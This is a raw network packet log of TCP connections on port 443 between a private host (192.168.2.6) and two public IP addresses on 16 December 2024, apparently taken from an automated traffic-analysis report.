Dec 16, 2024 15:01:18.048058987 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.048074961 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.048093081 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.050708055 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.050734043 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.050796986 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.050808907 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.050843000 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.050867081 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.054383993 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.054411888 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.054461002 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.054491997 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.054518938 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.054538012 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.144562960 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:18.144619942 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:18.144748926 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:18.145479918 CET	49741	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:01:18.145493984 CET	443	49741	20.198.118.190	192.168.2.6
Dec 16, 2024 15:01:18.166651964 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.166677952 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.166719913 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.166747093 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.166790962 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.166811943 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.167568922 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.167594910 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.167649031 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.167655945 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.167691946 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.167712927 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.170732021 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.170759916 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.170824051 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.170855045 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.170869112 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.170938969 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.172070026 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.172103882 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.172143936 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.172163963 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.172187090 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.172207117 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.179682970 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.179727077 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.179788113 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.179820061 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.179837942 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.179858923 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.194341898 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.194375038 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.194494963 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.194494963 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.194531918 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.194571972 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.195461988 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.195488930 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.195528984 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.195537090 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.195566893 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.195581913 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.197937965 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.197964907 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.198051929 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.198103905 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.198143005 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.209188938 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.209222078 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.209289074 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.209305048 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.209347010 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.209362984 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.212630033 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.212656975 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.212730885 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.212739944 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.212933064 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.219161034 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.219182968 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.219250917 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.219269991 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.219511986 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.219532013 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.219540119 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.219588995 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.219597101 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.219707012 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.221926928 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.221951962 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.222002029 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.222012043 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.222043991 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.222065926 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.233391047 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.233429909 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.233475924 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.233494043 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.233509064 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.233534098 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.235003948 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.235028982 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.235068083 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.235076904 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.235095978 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.235116005 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.235467911 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.235492945 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.235526085 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.235541105 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.235569000 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.235589981 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.236371040 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.236398935 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.236447096 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.236453056 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.236485958 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.236504078 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.252902985 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.252932072 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.252994061 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.253016949 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.253047943 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.253057957 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.255465031 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.255487919 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.255542040 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.255554914 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.255584955 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.255599976 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.353998899 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.354033947 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.354104042 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.354127884 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.354141951 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.354310989 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.355940104 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.356034040 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.356071949 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.356153965 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.360224009 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.360285044 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.360315084 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.360349894 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.360371113 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.360394955 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.360397100 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.360444069 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.360479116 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.360502005 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.360528946 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.360759020 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.365890026 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.365966082 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.365976095 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.365989923 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.366035938 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.366648912 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.366691113 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.366739988 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.366744041 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.366770029 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.366794109 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.371375084 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.371407986 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.371447086 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.371467113 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.371491909 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.371689081 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.375930071 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.375960112 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.376010895 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.376027107 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.376054049 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.376072884 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.377970934 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.377999067 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.378050089 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.378087044 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.378108978 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.378149033 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.381458998 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.381489038 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.381525040 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.381531954 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.381558895 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.381580114 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.382150888 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.382173061 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.382211924 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.382219076 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.382252932 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.382271051 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.385850906 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.385871887 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.385921955 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.385935068 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.385963917 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.386009932 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.390502930 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.390526056 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.390578985 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.390599012 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.390624046 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.390806913 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.391390085 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.391438007 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.391479969 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.391518116 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.391537905 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.391561031 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.398729086 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.398750067 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.398798943 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.398827076 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.398878098 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.398878098 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.398936987 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.398969889 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.399024010 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.399029970 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.399065018 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.399796963 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.399815083 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.399873972 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.399893045 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.399916887 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.399992943 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.406651020 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.406681061 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.406754971 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.406769037 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.406795979 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.406796932 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.406863928 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.406868935 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.406903982 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.406903982 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.406929016 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.406949043 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.410758018 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.410778046 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.410820961 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.410830021 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.410852909 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.410873890 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.413089991 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.413109064 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.413181067 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.413194895 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.413255930 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.414582014 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.414649963 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.414689064 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.414693117 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.414834023 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.420808077 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.420824051 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.420892954 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.420908928 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.420962095 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.423485041 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.423547029 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.423599958 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.423635006 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.423656940 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.423674107 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.427468061 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.427486897 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.427556038 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.427562952 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.427603960 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.427865028 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.427882910 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.427936077 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.427953005 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.427982092 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.428226948 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.429621935 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.429652929 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.429697990 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.429706097 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.429742098 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.429761887 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.433887005 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.433902979 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.433969975 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.433986902 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.434206009 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.436126947 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.436165094 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.436203957 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.436253071 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.436281919 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.436296940 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.440570116 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.440587997 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.440865040 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.440874100 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.440915108 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.441293001 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.441371918 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.441376925 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.441387892 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.441432953 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.441457033 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.445908070 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.445928097 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.445971966 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.445981026 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.446013927 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.446032047 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.452177048 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.452207088 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.452254057 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.452284098 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.452302933 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.452320099 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.461078882 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.461098909 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.461174965 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.461203098 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.461266041 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.551394939 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.551423073 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.551527977 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.551609039 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.551649094 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.551673889 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.553957939 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.553986073 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.554039001 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.554069042 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.554088116 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.554111958 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.554610968 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.554631948 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.554677963 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.554701090 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.554728031 CET	49734	443	192.168.2.6	150.171.28.10
